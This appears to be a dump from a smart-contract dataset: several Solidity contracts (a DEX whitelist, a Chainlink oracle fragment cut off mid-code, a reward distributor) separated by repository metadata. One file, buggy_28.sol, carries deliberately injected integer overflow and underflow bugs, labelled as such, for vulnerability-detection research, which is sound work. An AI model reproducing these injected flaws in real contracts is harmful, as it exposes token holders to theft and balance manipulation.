function isInvestorAddressActive(address account) external view returns (bool);
}
contract DexWhitelist is Initializable, Managed, Pausable {
ICarTokenController public controller;
struct Investor {
address addr;
bool active;
}
mapping(bytes32 => Investor) public investors;
mapping(address => bytes32) public keyOfInvestor;
mapping(address => bool) public tokens;
bool public isLiquidityWlActive;
bool public isSwapWlActive;
bool public isFarmWlActive;
bool public isTokenWlActive;
event SetController(address indexed controller);
event AddNewInvestor(bytes32 indexed key, address indexed addr);
event SetInvestorActive(bytes32 indexed key, bool active);
event ChangeInvestorAddress(address indexed sender,
bytes32 indexed key,
address indexed oldAddr,
address newAddr);
event SetLiquidityWlActive(bool active);
event SetSwapWlActive(bool active);
event SetFarmWlActive(bool active);
event SetTokenWlActive(bool active);
event SetTokenAddressActive(address indexed token, bool active);
function initialize() external initializer {
__Ownable_init();
}
function isInvestorAddressActive(address _addr) public view returns (bool) {
return
investors[keyOfInvestor[_addr]].active ||
(address(controller) != address(0)
? controller.isInvestorAddressActive(_addr)
: false);
}
function isLiquidityAddressActive(address _addr)
public
view
returns (bool)
{
return !isLiquidityWlActive || isInvestorAddressActive(_addr);
}
function isSwapAddressActive(address _addr) public view returns (bool) {
return !isSwapWlActive || isInvestorAddressActive(_addr);
}
function isFarmAddressActive(address _addr) public view returns (bool) {
return !isFarmWlActive || isInvestorAddressActive(_addr);
}
function isTokenAddressActive(address _addr) public view returns (bool) {
return !isTokenWlActive || tokens[_addr];
}
function changeMyAddress(bytes32 _investorKey, address _newAddr)
external
whenNotPaused
{
require(investors[_investorKey].addr == msg.sender,
"Investor address and msg.sender does not match");
_changeInvestorAddress(_investorKey, _newAddr);
}
function addNewInvestors(bytes32[] calldata _keys,
address[] calldata _addrs) external onlyAdminOrManager {
uint256 len = _keys.length;
require(len == _addrs.length,
"Lengths of keys and address does not match");
for (uint256 i = 0; i < len; i++) {
_setInvestorAddress(_keys[i], _addrs[i]);
emit AddNewInvestor(_keys[i], _addrs[i]);
}
}
function setInvestorActive(bytes32 _key, bool _active)
external
onlyAdminOrManager
{
require(investors[_key].addr != address(0), "Investor does not exists");
investors[_key].active = _active;
emit SetInvestorActive(_key, _active);
}
function changeInvestorAddress(bytes32 _investorKey, address _newAddr)
external
onlyAdmin
{
_changeInvestorAddress(_investorKey, _newAddr);
}
function setTokenAddressActive(address _token, bool _active)
external
onlyAdmin
{
_setTokenAddressActive(_token, _active);
}
function setTokenAddressesActive(address[] calldata _tokens,
bool[] calldata _active) external onlyAdmin {
uint256 len = _tokens.length;
require(len == _active.length,
"Lengths of tokens and active does not match");
for (uint256 i = 0; i < len; i++) {
_setTokenAddressActive(_tokens[i], _active[i]);
}
}
function setController(ICarTokenController _controller) external onlyOwner {
controller = _controller;
emit SetController(address(_controller));
}
function setLiquidityWlActive(bool _active) external onlyOwner {
_setLiquidityWlActive(_active);
}
function setSwapWlActive(bool _active) external onlyOwner {
_setSwapWlActive(_active);
}
function setFarmWlActive(bool _active) external onlyOwner {
_setFarmWlActive(_active);
}
function setTokenWlActive(bool _active) external onlyOwner {
_setTokenWlActive(_active);
}
function setWlActive(bool _liquidityWlActive,
bool _swapWlActive,
bool _farmWlActive,
bool _tokenWlActive) external onlyOwner {
_setLiquidityWlActive(_liquidityWlActive);
_setSwapWlActive(_swapWlActive);
_setFarmWlActive(_farmWlActive);
_setTokenWlActive(_tokenWlActive);
}
function _setInvestorAddress(bytes32 _key, address _addr) internal {
require(investors[_key].addr == address(0), "Investor already exists");
require(keyOfInvestor[_addr] == bytes32(0), "Address already claimed");
investors[_key] = Investor(_addr, true);
keyOfInvestor[_addr] = _key;
}
function _changeInvestorAddress(bytes32 _investorKey, address _newAddr)
internal
{
address oldAddress = investors[_investorKey].addr;
require(oldAddress != _newAddr, "Old address and new address the same");
keyOfInvestor[investors[_investorKey].addr] = bytes32(0);
investors[_investorKey] = Investor(address(0), false);
_setInvestorAddress(_investorKey, _newAddr);
emit ChangeInvestorAddress(msg.sender,
_investorKey,
oldAddress,
_newAddr);
}
function _setTokenAddressActive(address _token, bool _active) internal {
tokens[_token] = _active;
emit SetTokenAddressActive(_token, _active);
}
function _setLiquidityWlActive(bool _active) internal {
isLiquidityWlActive = _active;
emit SetLiquidityWlActive(_active);
}
function _setSwapWlActive(bool _active) internal {
isSwapWlActive = _active;
emit SetSwapWlActive(_active);
}
function _setFarmWlActive(bool _active) internal {
isFarmWlActive = _active;
emit SetFarmWlActive(_active);
}
function _setTokenWlActive(bool _active) internal {
isTokenWlActive = _active;
emit SetTokenWlActive(_active);
}
}
| 241,168 | 12,732 |
1f5366268c9ecd4b78297705dbbd9479d60cb99ee686f68aa537f78654d9e474
| 14,379 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Integer_overflow_and_underflow/Sol/buggy_28.sol
| 4,532 | 14,320 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
string private _name;
mapping(address => uint) balances_intou34;
function transfer_intou34(address _to, uint _value) public returns (bool) {
require(balances_intou34[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou34[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou34[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
string private _symbol;
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function name() public view returns(string memory) {
return _name;
}
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
function symbol() public view returns(string memory) {
return _symbol;
}
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function decimals() public view returns(uint8) {
return _decimals;
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
contract HYDROGEN is ERC20Detailed {
using SafeMath for uint256;
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
mapping (address => uint256) private _balances;
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
mapping (address => mapping (address => uint256)) private _allowed;
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
string constant tokenName = "HYDROGEN";
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
string constant tokenSymbol = "HGN";
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
uint8 constant tokenDecimals = 4;
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
uint256 _totalSupply =8000000000;
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function findtwoPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 twoPercent = roundValue.mul(basePercent).div(5000);
return twoPercent;
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findtwoPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findtwoPercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
}
| 224,022 | 12,733 |
a1b8dc60ab117fffa3a124ab14bc3a5367bc0052a3c722021c49da50bc88cd41
| 17,608 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c3/c39910736b876920c07bbe279aac6ea63dbff22e_Distributor.sol
| 3,881 | 15,340 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 87,063 | 12,734 |
078a59c6c020e0ae96438b717a8e452b8d06408979dc60a4fbb11342f34c41b6
| 19,441 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c1/c192b626BE00FadA421b08A972c6f3724403D461_Oracle.sol
| 2,887 | 10,925 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface ChainlinkRequestInterface {
function oracleRequest(address sender,
uint256 requestPrice,
bytes32 serviceAgreementID,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 nonce,
uint256 dataVersion,
bytes calldata data) external;
function cancelOracleRequest(bytes32 requestId,
uint256 payment,
bytes4 callbackFunctionId,
uint256 expiration) external;
}
interface OracleInterface {
function fulfillOracleRequest(bytes32 requestId,
uint256 payment,
address callbackAddress,
bytes4 callbackFunctionId,
uint256 expiration,
bytes32 data) external returns (bool);
function getAuthorizationStatus(address node) external view returns (bool);
function setFulfillmentPermission(address node, bool allowed) external;
function withdraw(address recipient, uint256 amount) external;
function withdrawable() external view returns (uint256);
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
interface WithdrawalInterface {
function withdraw(address recipient, uint256 amount) external;
function withdrawable() external view returns (uint256);
}
abstract contract LinkTokenReceiver {
bytes4 constant private ORACLE_REQUEST_SELECTOR = 0x40429946;
uint256 constant private SELECTOR_LENGTH = 4;
uint256 constant private EXPECTED_REQUEST_WORDS = 2;
uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS);
function onTokenTransfer(address _sender,
uint256 _amount,
bytes memory _data)
public
onlyLINK
validRequestLength(_data)
permittedFunctionsForLINK(_data)
{
assembly {
// solhint-disable-next-line avoid-low-level-calls
mstore(add(_data, 36), _sender) // ensure correct sender is passed
// solhint-disable-next-line avoid-low-level-calls
mstore(add(_data, 68), _amount) // ensure correct amount is passed
}
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = address(this).delegatecall(_data); // calls oracleRequest
require(success, "Unable to create request");
}
function getChainlinkToken() public view virtual returns (address);
modifier onlyLINK() {
